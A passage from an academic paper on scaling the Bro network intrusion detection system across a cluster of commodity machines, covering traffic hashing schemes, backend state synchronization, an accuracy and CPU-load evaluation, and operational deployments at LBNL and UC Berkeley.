Challenge network.

We structure the remainder of this paper as follows. In § 2 we present the
primary design objectives of the NIDS cluster. In § 3 we discuss the design and
implementation of schemes for evenly distributing load across the cluster nodes,
and in § 4 the design and implementation of the backend nodes. In § 5 we per-
form a trace-based evaluation to gauge the performance and accuracy of the
cluster, followed in § 6 by a discussion of live performance as observed in our
current cluster installations at LBNL and UCB. § 7 discusses related work, with
conclusions in § 8.

2 Design Objectives and Resulting Architecture

With the NIDS cluster we aim to realize in-depth, yet inexpensive, network
monitoring in high-performance environments. To do so in a manner suitable for
operational security monitoring, the design must satisfy a number of objectives:

Transparency. The system should convey to the operator the impression of
interacting only with a single NIDS, producing results as a single NIDS
would if it could cope with the total load.

Scalability. Since network traffic volumes grow with time, we want to be able to
easily add more nodes to the cluster to accommodate an increased load. Ide-
ally, the cluster’s performance scales linearly, i.e., the amount of additional
resources necessary is a linear function of the increase in network load.

Commodity hardware. In general, we want to leverage the enormous flexibil-
ity and economies-of-scale that operation on commodity hardware can bring
over use of custom hardware (e.g., ASICs or FPGAs). However, for moni-
toring very high-speed links, we may need to resort to specialized hardware
for the frontends, as these need to process packets at full line-rate.

Ease of Use. The operator should interact with the system using a single host
as the primary interface, both for accessing aggregated analysis results and
for tuning the system’s configuration.

Ease of Maintenance. Replacing failed components should be a straight--
forward operation that does not impair the analysis of other components
unaffected by the defect. If the hardware setup allows, hot-spares should be
able to automatically take over.

Driven by these design objectives, we architect the NIDS cluster in terms of
four main components (see Figure 1): frontend nodes distribute the traffic to a
set of backend nodes. The backends run the NIDS instances that perform the
traffic analysis and exchange state via communication proxies. Finally, a central
manager node provides the cluster’s centralized user interface.

There is typically one frontend per monitored link. Each frontend forwards
each packet it receives to exactly one backend node in charge of the packet.
Frontend nodes operate at line-speed and are therefore the most performance-
critical components of the cluster. In the next section we discuss their operation
and different options for implementing them.
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Fig. 1. Cluster architecture

Backend nodes are commodity PCs with two NICs: one for receiving traffic
from the frontend, and one for communication with the manager and the com-
munication proxies. Each backend node analyzes its share of the traffic using an
instance of the NIDS, forwards results to the rest of the cluster as necessary, and
receives information from other backends required for global analysis of activity.
All backend nodes are using the same NIDS configuration and thus perform the
same analysis on their traffic slices.

The communication proxies are a technical tool to avoid direct communication
among all backend nodes, which does not scale well due to requiring fully meshed
communication channels. Often a single proxy node suffices. It connects to each
backend, forwarding information it receives from any of them to the others.

The manager node provides the operator-interface to the cluster. It aggre-
gates and potentially filters the results of the backend nodes to provide the
user with a coherent view of the overall analysis. The manager also facilitates
easy management of the cluster, such as performing configuration updates and
starting/stopping of nodes.

While conceptually proxies and managers are separate entities, we can com-
bine them on a single host or co-resident with a backend system if their individual
workloads permit (as is the case for some of our current installations).

3 Distributing Load

We begin with the question of how to divide the network traffic across the clus-
ter’s backend nodes. We first discuss and evaluate different distribution schemes,
and then present options to implement them in the frontend nodes, as well as
implications for coping with failure.

3.1 Distribution Schemes

The most straight-forward approach by which the frontend can achieve an even
distribution of the incoming traffic would be a packet-based, round-robin scheme:
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Fig. 2. Hash simulation

each node will see the same number of packets, arriving at the same rate. How-
ever, all major NIDSs keep significant per-flow state, e.g., to facilitate reassem-
bling TCP byte streams, and thus a packet-based scheme would entail major
communication overhead.

Flow-based schemes (all packets belonging to the same flow go to the same
backend node) hold more promise as they result in load-balancing at the same
granularity as used by the lower layers of backend analysis. Such schemes avoid
inter-node communication for any analysis which is limited to the scope of a
single flow—by far the largest share in most NIDSs. For example, traditional
Snort-style signature matching requires no communication if we employ flow-
based distribution. In addition, recent research suggests that the resource usage
of a NIDS scales primarily with the number of flows [2], and thus a flow-based
distribution scheme should impose a similar processing load on all backend nodes.
We assess this claim in § 5.

To keep the frontend nodes as simple as possible, we focus on stateless dis-
tribution schemes. A simple approach is hashing a flow identifier derived from
each packet’s header into the set {0, . . ., n − 1}, with n being the number of
backend nodes. For TCP and UDP traffic, for example, the identifier might
be the 4-tuple (addr1, port1, addr2, port2). We could then use MD5 to generate a
hash from such tuples: hmd54(addr1, port1, addr2, port2) := MD5(addr1+port1+
addr2 + port2) mod n. By using addition, this hash is commutative with re-
spect to a flow’s source and destination, so we map all packets of a flow in both
directions to the same backend.

Figure 2 shows the result of applying several such hashes (for n = 10) to
a day’s worth of TCP traffic at UCB (231 million connections). Let Ni be the
number of flows that began during each 5-minute interval i. An ideal distribution
scheme across n backends assigns Mi := Ni/n flows to each backend. For each
interval, the plot shows the mean differences between a hash-generated distribu-
tion and Mi, as a percentage of Mi. As we would expect, we see that the hmd54

hash (black circles) performs very well: the standard deviation σ of its variation
from the ideal Mi is just 0.35%.
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However, calculating MD5 for every packet is expensive. We therefore ex-
plore a simpler additive hash, hbpf4(addr1, port1, addr2, port2) = (addr1+port1+
addr2+port2) mod n.1, shown in Figure 2 using green crosses. This scheme has
σ = 1.31, not as good as for hmd54 , resulting in a few more outliers. However, it
turns out that the outliers arise due to our choice of n = 10: for such an additive
hash, a non-prime modulus can lead to aliasing. If we instead use n = 11 (blue
crosses in the figure), then the outliers disappear, and σ falls to 0.36, yielding
essentially the same level of performance as does hmd54 .

Yet, while hashing on the 4-tuple yields a nice distribution of flows across back-
ends, it also has drawbacks. First, it relies on port numbers, which are not always
well-defined (e.g., ICMP packets). Second, extracting the port numbers can be
somewhat complicated for fast hardware (per § 3.2) since their location within
a packet is not necessarily fixed (due to IP options or nested IPv6 headers).
Third, and most importantly, 4-tuple hashing cannot cope with IP fragments, as
not all fragments contain the ports. Thus, a frontend would need to reassemble
fragments, which requires maintaining state.

Accordingly, we also examine a third type of hash based only on addresses:
hmd52(addr1, addr2) = md5(addr1 + addr2) mod n. While this hash is easy
to implement, we expect it to lack the evenness of the 4-tuple hashes, since all
traffic between the same two hosts will map to the same hash. The question
is whether in a large network the diversity of source and destination addresses
already suffices to still yield similar loads on the backend nodes. We show the
results in the figure using red triangles, finding that while hmd52 has σ = 1.55,
the unevenness is fairly mild. (We omit similar results for an analogous hbpf2

hash to keep the plot legible.)
In addition, there are in fact some significant benefits to using 2-tuple hashing

rather than 4-tuple: hashing just by addresses decreases communication overhead
for per-host-pair forms of analysis. For example, a single cluster node can detect
port scans without any inter-node correlation. In our cluster installations we
therefore choose to rely on a 2-tuple hash despite its slightly lower performance.
Accordingly, we also use it for our evaluation in § 5.

Finally, we note that in practice the load of a NIDS is quite difficult to predict
even if we know exactly what traffic it processes [4]. Thus, even with a completely
even distribution scheme the actual processing load on the backends differs. We
return to this point in § 5.

3.2 Frontend Implementation

We can consider implementing the frontend using either specialized hardware,
or purely in software. Regarding specialized hardware, we experimented with
the P10 appliance from Force10 Networks, which features two 10 Gbps ports
and the ability to draw upon an FPGA to inspect traffic across the ports at line
rate. We programmed the FPGA to calculate hashes and in real-time rewrite the
destination MAC address of each packet to be that of the corresponding backend

1 We call this hash hbpf4 because it can be implemented as a BPF filter [2].
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node. We report on our experiences in § 6 below.2 Alternatively, we find in our
testing that software frontends, while slower, can provide sufficient performance
for up to 2 Gbps. The most successful approach we have experimented with is
based on Click [7] which, running entirely within a Linux kernel, can similarly
rewrite the destination addresses.

3.3 Recovery from Failure

One of the design objectives for the NIDS cluster is Ease of Maintenance: if
a component fails, it should be simple to replace it, ideally in an automated
fashion and without interrupting unaffected components. For the front end, this
is difficult without employing fully redundant hardware. However, for the other
components, we can do so as follows.

If a backend node fails, the immediate effect is that its slice of the network
traffic becomes unmonitored. All other components, however, continue to work
unaffected. To prepare for backend failures, we can run additional nodes as hot
spares. During normal operation, hot spares are configured the same as the other
backends, but do not receive any traffic. Once the cluster detects the failure
of a backend (e.g., via a heartbeat mechanism), a hot spare can assume the
MAC address of the failed node and continue the node’s monitoring. While the
hot spare will not have the internal state of the failing node, it automatically
receives a copy of all globally-shared state from its proxy when it connects to
the cluster.

If a communication proxy fails, the backends connected to it will no longer
be able to correlate their analysis with other nodes. However they continue an-
alyzing their traffic slices locally, including further accumulation of local state.
A hot-spare proxy then take over by connecting to all affected backends, which
then automatically resume propagating their state updates via the new connec-
tions. However, the system will be in a state of partial inconsistency due to the
state updates lost during the fail-over period.

If the manager fails, the cluster loses its reporting and logging facilities, but
the backends and proxies continue their monitoring unaffected. If they also log
locally, there is no loss of analysis results, even though they are no longer aggre-
gated centrally during the manager outage. Once detected, a new manager can
quickly takeover: like a proxy, it only needs to connect to the backends and they
will automatically begin forwarding their results to the new manager.

4 Distributing Analysis

We now turn to devising the cluster’s backend analysis. As noted above, we
base our implementation on the Bro NIDS. Bro’s flexibility makes it well-suited

2 We have also developed an FPGA-based NIDS frontend that we term a “Shunt” that
we can adapt to this purpose [22], but we do not yet have it at a stage to evaluate
in this context.
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to the task. In contrast to most other NIDSs, Bro is fundamentally neither
anomaly-based nor signature-based. Instead, it is partitioned into a protocol
analysis component (“event engine”) and a policy script component. The for-
mer feeds the latter by generating a stream of events that reflect different types
of activity detected using protocol analysis. For example, when the analyzer sees
the establishment of a TCP connection, it generates a connection established
event; when it sees an HTTP request, it generates http request, and for the
corresponding reply, http reply.

Bro’s event engine is policy-neutral : it does not consider any particular events
as reflecting trouble. It simply makes the events available to the policy script
interpreter. The interpreter then executes scripts written in Bro’s custom script-
ing language in order to define the response to the stream of events. Because
the language includes rich data types, persistent state, and access to timers and
external programs, the response can incorporate a great deal of context in ad-
dition to the event itself. The script’s reaction to a particular event can range
from updating arbitrary state (for example, tracking types of activity by address
or address pair, or grouping related connections into higher-level “sessions”) to
generating alerts.

Almost all of Bro’s event engine processing executes on a per-flow fash-
ion, and thus does not require correlation of state across flows.3 Therefore, we
can restrict exchange of analysis state between backend nodes to script-level
logic.

At the script-level, Bro provides extensive support for remote communication
by means of its independent state framework [17]. The framework provides two
communication primitives: remote event subscription and synchronized variables.
With the former, one Bro instance can subscribe to any events from the event
stream of remote peers; it will then transparently receive these events at its
script-layer just as does the event source itself. With the latter, Bro instances can
share any script-level data structure with a set of peers. Any change performed
by one peer is transparently propagated to the others, creating a globally shared
data structure. For our cluster, we use event subscription for the communication
between the manager node and the backends, and synchronized variables for
correlating analysis between backends.

To install Bro on the NIDS cluster, we need to set up three different types
of Bro instances: (i) backends to analyze each slice of traffic; (ii) proxies to
propagate state information across the backends; and (iii) a central manager to
collect and aggregate the results of the backends.

Managers and proxies are straight-forward to construct. The manager is a Bro
instance that connects to each backend and subscribes to the events correspond-
ing to their analysis output: alarm events, generated upon detecting malicious
activity, and log events, generated whenever the backend logs information to

3 There is one exception: Bro’s stepping stone detector [23] correlates flows inside the
event engine. However, this analysis could just as well be done at the script layer,
and so for our evaluation we have decided to ignore supporting its functionality.
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a local file.4 When the manager receives a remote alarm event, it processes it
according to its local alarm configuration (e.g., determining which merit paging
the operator), just as if the alarm had been locally generated. This approach
allows the operator to easily centralize (and dynamically change) the alarm pol-
icy for the entire cluster. When the manager receives a log event, it writes the
content into a corresponding local file; thus, the manager’s log files reflect the
aggregation of all of the backends’ log files in real-time.

Different from the manager, the proxies operate in a fully policy-neutral fash-
ion. Each proxy connects to a subset of the backend nodes, as well as to all
other proxies. Proxies subscribe to the stream of state operations from all of
their peers. Once they receive an operation from a peer, they forward it to all
of the others. The receivers then apply the operation locally (or propagate the
operation further in the case of multiple proxies).

Setting up the backend Bro instances consists of two step: (i) choosing an analy-
sis configuration suitable for the environment, and (ii) adapting the processing to
correlate state across the cluster. The first step does not differ from setting up a
traditional, single Bro instance, and we therefore do not discuss it in more detail.
With regard to correlating state, per our observation above, Bro performs its
inter-connection analysis (almost) exclusively at the script-level, and thus we
focus on identifying script-level variables that require synchronization across the
backends. To do so, we examined each of Bro’s standard scripts to determine
which variables require synchronization between peers. By providing this syn-
chronization, each peer obtains the full decision context while processing only a
subset of the entire traffic.

Our analysis of the scripts revealed that many of them in fact perform only
intra-connection analysis, and hence do not require any modification. In par-
ticular, most of the scripts analyzing the content of application-layer protocols
do not correlate information across connection boundaries. (For example, while
Bro’s primary SMTP script maintains a table of all active SMTP sessions, the
analysis of each individual one does not require access to the state of any other
SMTP session.)

Some scripts, however, do require information from multiple connections. A
prominent example is the scan detector, which counts connection attempts per
source address. If these reach a certain threshold, the system raises an alarm. In
the cluster setup, the scan detector now must count across backends; we therefore
synchronize the corresponding tables of counters (which simply entails annotating
the corresponding script variables with the attribute &synchronized). Other ex-
amples of scripts needing synchronization are the worm detector (which maintains
a global list of infected hosts) and the SMTP relay detector (which identifies open
SMTP relays by associating incoming with outgoing mails). Overall, we needed
to synchronize 29 script-level variables spanning 19 different types of analysis.

4 Bro differs from many other NIDS in that it keeps extensive logs of all network traffic,
independent of whether activity is deemed malicious or not. These logs include one-
line summaries of each flow, and transcripts of application-layer protocol dialogs for
a wide range of protocols—invaluable for forensic analyses.
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When adapting the scripts in this fashion, we sometimes leveraged the specific
traffic distribution schemes implemented by our frontends (see § 3.1). Since the
2-tuple scheme we used directs all traffic between the same two hosts to a single
backend, we do not need to synchronize state that only associates connections
between the same two endpoints (for example, detection of port scans). How-
ever, since this optimization depends on the frontend distribution scheme, we
structured our script modifications so that the user can selectively apply them
based on a priori knowledge of how traffic will be distributed.

In general, there are trade-offs between the overhead that synchronization re-
quires and the benefits one gains from it. For example, FTP data connections
are usually instantiated between the same endpoints (addresses) as the corre-
sponding FTP control connections. When that holds, a purely address-based
distribution scheme obviates the need for inter-node communication. However,
in principle FTP can involve a third address in such transfers, and thus not syn-
chronizing knowledge between nodes can potentially lead to misclassifications.
In our current configuration we still choose to not propagate such information in
favor of avoiding the communication overhead. (Note that some, but not all, of
the attack uses of such third-party FTP already manifest in the control session,
and thus can be detected without synchronization.)

To adapt the backend analysis to the cooperative cluster setting, ideally it
would suffice to simply go through all of Bro’s analysis scripts and synchronize all
variables used to correlate state across flows. However, in practice we encountered
subtleties when doing so which merit discussion.

So far, we have assumed that synchronizing a variable works in a fully trans-
parent and reliable fashion: at all times all peers agree on the variable’s value;
each operation is immediately reflected in all instances. However, in practice real-
time requirements impede this model, as it would require global locking across
mutually-exclusive data structures. The Bro system therefore relies on loose syn-
chronization [17], which propagates state changes in a best-effort fashion without
any kind of locking. Doing so can lead to race conditions, and therefore changes
the semantics of the script processing.

While we cannot avoid such race conditions, we can mitigate their impact. We
devised several strategies to do so, addressing the common situations we encoun-
tered. One example arises from the specific way in which some scripts use nested
tables. The scan detector, for example, uses a table of source addresses mapping
into sets of destination addresses to count how many unique victims a scanner
has so far contacted. When a new source begins to scan, there is initially no
entry for it in the outer table. However, the first connection attempts the source
makes are often noticed by multiple backends at almost the same time, and thus
each of them then assigns a freshly instantiated set of destination addresses to
the corresponding source address. Because of loose synchronization, it is unpre-
dictable what sort of picture these fresh creations plus additions will eventually
result in at each peer. We addressed this problem by introducing mergeable sets
into the scripting language: if new content is assigned to a mergeable set, the
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distributed result is the union of old and new content, rather than the new
content replacing the old.

A number of other such examples arose; see [18] for a detailed discussion. (We
note that all of our changes, including the mergeable sets, will be part of the
next Bro release.)

Finally, we equipped the manager node with a set of tools to ease maintenance.
Rather basically, a set of shell scripts provide means to control and monitor the
cluster operation on all nodes (e.g., start and stop the cluster), based on a central
configuration file that specifies which systems are backends, proxies, and man-
ager. More interesting is on-the-fly reconfiguration, such as installing a modified
alert policy, which such scripts also support via the independent state frame-
work. Similarly, the operator can inspect the state of all nodes during runtime,
e.g., to examine the contents of script-level variables on all of the backends. The
scripts for doing so run a temporary Bro instance on the manager node that
connects to all the cluster nodes, either sending out a configuration update or
querying for internal state.

5 Evaluation

We evaluate the performance of our cluster setup as follows. We first first intro-
duce our evaluation methodology. We then use it to assess the analysis accuracy
of the cluster in comparison with running a single system. To understand how the
cluster design scales, we next measure backend CPU load as we vary the number
of nodes. Finally, we look at the overhead due to inter-node communication.

5.1 Methodology

For the bulk of our evaluation, we operate the system offline on previously cap-
tured traces. In contrast to running on live traffic (including traffic replayed into
a testbed), this approach ensures reproducible results with multiple runs. When
running multiple times on the same trace with different configurations, we can
attribute any changes in performance directly to the configuration change.

However, the cluster’s distributed processing introduces a few complications.
First, as each backend node sees a different slice of traffic, we need one trace
per backend node. Thus, we first capture a full trace and then split it up into
slices using the hbpf2 hash scheme discussed in § 3.1. We then copy one slice
to every backend node and run each NIDS instance offline on its subset of the
trace. The second difficulty arises due to inter-node communication: the NIDS,
running offline, can process a trace more quickly than in real-time—since the
nodes consume packets as fast as possible, even if in actuality the packets would
not yet have arrived—leading to desynchronization between the backend nodes.
To address this problem, the Bro system provides a pseudo-realtime mode [17]: if
enabled, the trace analysis deliberately inserts delays into its processing that echo
the inter-packet gaps observed when capturing the trace. That is, the analysis of
the trace proceeds with the same speed as it would when running live, thereby
synchronizing it with real-time, and hence with inter-node communication.
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We conducted our evaluation in the LBNL environment, using the same cluster
hardware that our live prototype runs (§ 6). The cluster consists of 10 backend
nodes and one node for manager and proxy. All systems are 3.6 GHz dual-CPU
Intel Pentium D with 2 GB RAM. We use a single Bro instance as both manager
and proxy, and configured the backends to reflect the full operational Bro setup
used at LBNL (the complete range of analysis that to date has been spread
across a number of uncoordinated nodes). In addition, we enabled Bro’s general
capability to detect and analyze applications running on non-standard ports [3],
which is infeasible for LBNL’s current operational setup because it requires in-
depth analysis of all packets.

We captured a 2+ hour, full-packet trace around noon on March 1st, 2007,
comprising 97 GB, 134 M packets, and 1.5 M source/destination pairs. The
average throughput corresponds to 113 Mbps, with a per-second peak of 261 Mb.
88% of the packets were TCP, 9.7% UDP, and 2.3% ICMP. The most prevalent
TCP protocols were HTTPS (18.6% of the packets), followed by HTTP (12.0%),
and SSH (10.3%). 40.8% of the TCP traffic was not classifiable by well-known
ports, with a large share quite likely due to Grid protocols.

5.2 Accuracy

Ideally, a NIDS cluster produces the same output as a single NIDS would. There-
fore, we first compared our cluster’s output (as aggregated by the manager node)
with the results of a single Bro instance running offline on the full trace. We ex-
amined both the alarms and the activity logs generated (per § 4).

Of the 2661 alarms reported by the single Bro, all were also raised by the
cluster, i.e., the new setup does not miss any intrusion attempts. Upon closer
inspection, we however found two differences. First, of the 252 address scans
reported by the single Bro, two scanners were flagged significantly later by the
cluster. The first scanner performed a quick but extremely short scan, contacting
39 different destinations within 1 sec but then no further contact for an interval
exceeding the scan detector’s time-out. While a single Bro can notice such a
scan easily, the latency of the communication between the backends delays the
cluster in doing so. The second initially missed scanner performed 5 small bursts
of connection attempts: roughly 10 attempts each time, set 10 sec apart. This
was only detected when the backends later generated summaries of their shared
state (rather than upon propagation of the shared state, due to the activity-
triggered nature of the current scan detection algorithm). In both cases, the
final alarm generated by the backend agrees with the summary produced by the
single Bro.

The second difference arose because the details of context accompanying an
alarm can differ. Timestamps vary slightly (on the order of 0.1 sec) and, for
example, the scan detector can report a different number of connections attempts
in its initial alarm, with both effects due to communication delays and semantics
slightly differing due to the distributed setup. Apart from these minor differences,
we find that the cluster produces alarms closely matching those of a single Bro
processing the same input.
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Next, we compared the activity logs. The main discrepancies we encountered
were differences in timing, e.g., the begin and duration logged for connections
differed slightly. This is expected due to the pseudo-realtime mode, which can
only approximately reproduce the exact timing of the trace. (Timing would
similarly differ in a live setting.) Except for such timing issues, we found only
one other major type of difference between the logs, which was also an artifact
of our test-bed setup: when the Bros on the backends terminate, they generate
a final spike of log activity. However, as Bro tears down the communication to
the manager immediately at that point, the corresponding log events are not
reliably forwarded anymore. Thus, the manager is missing some of the activity
at the end of the processed trace. In a live setting, this problem does not occur
because the nodes run continuously.

Overall, we conclude that the cluster yields very similar results as a single
NIDS—well within the variation we see operationally for a single NIDS due to
differences in timing and minor configuration variations—and therefore achieves
an acceptable degree of transparency.

5.3 Performance

We now assess the performance of the NIDS cluster in terms of CPU load and
communication overhead. We first examine how well our frontend balances the
processing load across the backends. We then perform a series of measurements
with different numbers of backends to assess the scalability of the approach.
Finally, we take a look at the overhead introduced by the communication.

Load-balancing. In § 3.1 we found that overall the hbpf2 hashing scheme yields
a good distribution in terms of the number of flows assigned to each node.
However, even assignment does not automatically imply even processing loads
on all backends, as different types of connections require different degrees of
analysis (see [4]). To examine the backend CPU load, we again run the cluster
on the captured trace, using the same configuration as described above. For
each backend, we logged the amount of user CPU time consumed per second
by the NIDS’s analysis. Figure 3(left) shows the distribution of these per-second
load samples for each backend. We see that nine of the ten backends (all except
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node 8) show very similar distributions, indicating quite similar CPU loads.
Across these nine backends, the largest mean CPU utilization was 10.0%, and
the largest standard deviation σ = 4.8%, reflecting that both the loads and the
load fluctuations leave ample headroom for increases in traffic.

However, backend node 8 shows a notably different density shape (mean
10.7%, σ = 5.7%). We examined the slice of the trace processed by node 8
and found that the slice contains a single TCP connection which makes up 86%
of the trace’s total bytes (33 GB of 38 GB!). Just by being assigned this one
connection, node 8 receives a significantly larger share of the overall traffic (other
nodes on average received 6.5 GB). Note, though, that pretty much any flow-
based traffic distribution scheme will wind up introducing this disparity, since
it manifests at even the finest flow-based granularity. However, even so node 8’s
CPU load 8 stayed well within a manageable range (below 30% for 99.5% of the
time).

We conclude that overall our traffic distribution imposes quite similar process-
ing loads across the nodes, and that the 10-node setup has sufficient headroom
to easily cope with the occasional traffic spikes induced, even when performing
the full range of operational analysis plus dynamic protocol detection.

Scaling. We next examine how the backend load scales with the number of
analysis nodes. Figure 3(right) plots the CPU utilization for setups with 3, 5,
and 10 backends. For each run, we first averaged the one-second CPU samples
(see above) across all nodes, and then plotted the probability density of these
mean CPU loads. In the plot we see that the load indeed scales nearly linearly
with the number of nodes: the mean load for 3 nodes is 27.4%, for 5 nodes it
is 18.0%, and for 10 nodes it is 9.4%, with the corresponding values of σ being
5.5%, 3.0%, and 2.0%.

Overhead. Compared to running a single Bro instance, the cluster setup intro-
duces overhead in terms of communication. We now examine the volume of state
exchanged between the cluster nodes and the additional amount of processing it
requires. All measurements reported in this section use 10 backend nodes.

We first look at the amount of state exchanged between the cluster nodes. For
the combined manager/proxy node, Figure 4(left) shows the number of incoming
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and outgoing state operations as well as the number incoming events (this node
does not generate its own events). As alarm events are relatively rare, almost
all of the incoming events are log events reflecting summaries of transport-level
and application-level activity.

On average, one log event consumes 200 bytes when transmitted wire in its
binary form. Incoming state operations correspond to updates to synchronized
variables; each of these triggers 9 outgoing operations due to the proxy broad-
casting the update to the other backends.5 On average, one state operation
consumes about 140 bytes.

Examining the state operations in more detail reveals that by far the largest
fraction (97%) are triggered by the scan detector, unsurprising because scan
detection is naturally quite expensive in terms of communication (to first order,
each connection might be part of a scan and thus needs to be propagated).

To understand the processing burden that propagating events and operations
imposes on the cluster nodes, Figure 4(right) shows the average CPU load over
the course of our trace for (i) the manager/proxy, and (ii) an arbitrary back-
end node with and without any communication. For the proxy, we see that a
significant amount of the processing time (11.5%) is system time. Apart from
logging to disk, this time primarily reflects communication input/output: over
the course of the trace, the proxy sends in total 101/918 MB in/out.

The mean CPU time consumed by the proxy is rather low in our evaluation
(6.3%). However, as the proxy cannot do a real broadcast but has to individually
send each operation to every receiver, its CPU usage increases with the number
of backends. Depending on the traffic, this could in principle cause the proxy to
become a bottleneck, especially during traffic spikes that suddenly generate a
large number of events/operations. Yet, due to the flexibility of our cluster ar-
chitecture, we can easily divide the load between multiple proxies. In our current
installation (see § 6), we in fact run two proxies, and also separate the manager
so that logging and operations broadcasting can be performed on different hosts.

Looking at the exemplary node in Figure 4(right), we see that enabling com-
munication increases its mean total CPU usage by 42.9% (though still to below
15% in absolute terms). In fact, 23% of the increase occurs in a child process that
Bro uses to manage inter-Bro communication; thus, on a dual CPU machine this
portion does not decrease the processing capacity of the main process. Overall,
the overhead for a node’s communication is non-negligible but also is not domi-
nant. Furthermore, due to the proxy architecture the amount of communication
that a node performs is independent of the number of backend nodes, providing
good scaling properties.

6 Installations

We have installed operational NIDS clusters at LBNL and UC Berkeley, which
here we discuss in turn.
5 Due to Bro’s communication framework using TCP, this is not a network-layer broad-

cast.
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The Bro cluster at LBNL consists of one frontend (classifier) node, one node
each for the manager and communication proxy, and ten backend nodes. Each
is a 3.6 GHz dual-CPU Intel Pentium D with two GB of memory and two GigE
network interface ports, one for packet capture and one for communication. Op-
tical splitters provide copies of each direction of wide area traffic. Since LBNL’s
current aggregate utilization is less than 10 Gbps, we merge these into a sin-
gle 10 Gbps stream, fed into a Force10 P10 appliance. The P10 classifies the
packets according to a variant of the hbpf2 hash (which uses xor rather than
addition) and injects them into a 10 Gbps uplink port on a Force10 S50 switch.
The switch distributes the packets to GigE-connected analysis nodes according
to their rewritten MAC addresses.

We run the manager and communication proxy each on a dedicated node. The
manager collects log files from all backends, archiving them for forensic analysis,
and responding to real-time alarms. In typical operation, backend nodes consume
less then 2% CPU for packet analysis and less than 1% CPU for communication,
the manager consumes around 5% CPU, and the proxy node consumes around
2% CPU. We have seen bursts of traffic consume up to 40% CPU on the backends,
25% CPU on the proxy, and 15% CPU on the manager for short periods of time.
The backends report very little packet loss (less than .0001%). On average we
monitor 32K pkts/sec and 28 MB/sec of traffic on this cluster.

The Bro cluster at UC Berkeley monitors the campus’s two 1 GigE upstream
links, which are mirrored via SPAN ports from two separate routers. There are
two frontend nodes running Click to distribute the traffic (Dell PowerEdge 850;
Intel Pentium D 920 dual-core; Linux 2.6), one for each SPAN port; and currently
six backend nodes (Sun Fire X2100; AMD Opteron 180 dual-core; FreeBSD 6.1).
An HP ProCurve 3500 switch connects frontends and backends.

The traffic volume seen at UCB is huge, 3–5 TB per day. As our six backends
do not suffice to analyze the total traffic in full, until we can add more nodes
we limit the analysis to half of the traffic volume by enabling only one of the
frontends. We use two proxy instances to balance the communication load. The
proxies, as well as the manager, run in addition with the traffic analysis on one
of the backends each. For the manager, it appears that its disk I/O decreases
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the analysis capacity of the backend process running on the same host (we see
occasional packet drops at similar loads that the other backends have no trouble
with). Figure 6 shows the processing load of the different processes over a time
period of two days. The specifics of the UC Berkeley network posed some chal-
lenges. First, Bro’s scan detector imposed significant load on the cluster due to
the large number of connections in this environment (about 2500/sec on average).
On the one hand, these generate large numbers of propagated state operations.
On the other hand, counting connection attempts for all sources requires a great
deal of memory. The latter highlights a drawback of our approach to clustering:
while we split the CPU load across the multiple nodes, each backend keeps a
complete copy of all (synchronized) state. To counter both effects, we added two
new options to Bro’s scan detector: the first limits the synchronization of scanner
state to sources for which one of the backends has at least seen 5 (default) dif-
ferent destinations locally. The second option stops synchronizing scanner state
for sources once they have scanned at least 500 (default) destinations. With this
tuning, the scan detector performs well on the cluster.

We encountered a similar problem with Bro’s IRC analyzer, which tracks
a significant amount of state for each IRC user encountered. Being a campus
network, the share of IRC traffic is relatively large, and therefore these data
structures grow quickly. Since they are synchronized, each backend keeps its
own copy of the full set. For now we have disabled parts of the IRC analysis in
favor of having the memory available for other types of analysis.

More generally, these problems highlight how existing ways of structuring
analyses are not always well-suited for a distributed setup. With the cluster
platform now in place, we plan to investigate analysis algorithms specifically
designed for multi-node processing. For example, a distributed, probabilistic scan
detector has the potential to significantly reduce communication and memory
requirements.

7 Related Work

To our knowledge, the approach we have framed in this work—employing a
cluster of commodity systems to perform load-balanced intrusion detection that
coordinates lower-level analysis across nodes—is a novel development. That said,
the more general notion of applying clusters to construct scalable network ser-
vices has seen significant exploration in prior work. Fox et. al. mention several
advantages clusters provide, including incremental scalability, high availability,
and the cost-effectiveness of commodity PCs [5]. The performance of network
intrusion detection has been extensively studied in the past [12,15,16,14]. All
studies conclude that it is imperative to cope with the induced load that grow-
ing network traffic imposes. Schaelicke and Freeland argue that system-level
optimizations such as interrupt coalescing and rule-set pruning as well as ar-
chitectural techniques can significantly improve performance and reduce packet
loss [14]. While previous work primarily focuses on the design of a NIDS cluster



124 M. Vallentin et al.

processing frontend [16,8], we look in addition at the challenges that intra-NIDS
communication raises.

Numerous different NIDSs are available today. The focus and range of ap-
plication vary for each system. To our knowledge, only a few systems feature a
tunable and flexible communication sub-system that we can leverage to build
a NIDS cluster. Snort [13] is the most widespread open-source NIDS. Snort
runs on commodity hardware, utilizing libpcap to enable platform independent
packet capturing. The detection engine is misuse-based. Around a core of nu-
merous signatures, various plugins enhance its functionality. Despite the lack of
a communication sub-system, Kruegel et. al. built a flow-based load-balancer on
top of Snort [8]. Their approach maintains connection tables to forward pack-
ets belonging to the same flow to the corresponding sensor, but does not ex-
tend to inter-sensor communication. The State Transition Analysis Technique
(STAT) tool suite [19] is a set of distributed intrusion detection tools based on
misuse-detection. STAT models intrusions as sequences of attack scenarios re-
flected by state transition diagrams, and supports inclusion of network-based,
host-based, and application-based sensors. The MetaSTAT Infrastructure [21]
provides the communication sub-system and control infrastructure to enable
distributed coordination of STAT-based applications. STAT-based tools fan out
into {U,N,Net,Win,Web,Alert}STAT, each designed for a different application
domain. In particular, NetSTAT [20] is the network-based component respon-
sible for network communication. If it is impossible for the system to detect
an attack completely, the NetSTAT propagates the partially configured scenario
containing state information to other probes. EMERALD [11] is a distributed
hybrid intrusion detection framework designed for large-scale enterprise network
operation; it is not openly available. The architecture of EMERALD uses a lay-
ered approach to support hierarchical organization of monitors. Each monitor
can subscribe to events and propagate correlated results. Prelude [1] is a dis-
tributed NIDS that relies on the IDMEF [6] standard to exchange events. In
its framework, sensors are connected to managers, which process and correlate
alerts. In a distributed setup, multiple managers can also act as relay managers
that report to a central manager. However, none of the existing approaches pro-
vided a sufficiently flexible means to share arbitrary policy-neutral state, unlike
the approach we pursue with our NIDS cluster.

8 Conclusion

In this work we set out to build a NIDS cluster as a scalable solution to realizing
high-performance, stateful network intrusion detection on commodity hardware.
The cluster consists of a frontend that distributes traffic evenly across an ex-
tensible set of backend nodes. Each backend examines its slice of the traffic
in-depth and correlates its analysis with the rest of the cluster. Different from
traditional multi-system NIDS setups, our cluster exchanges low-level state infor-
mation across all the backends and thereby transparently creates the impression
of interacting with a single NIDS.
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In the process of developing the NIDS cluster, we examined different traffic
distribution schemes for the frontend and experimented with both hardware and
software implementations. We adapted the open-source Bro NIDS to run on the
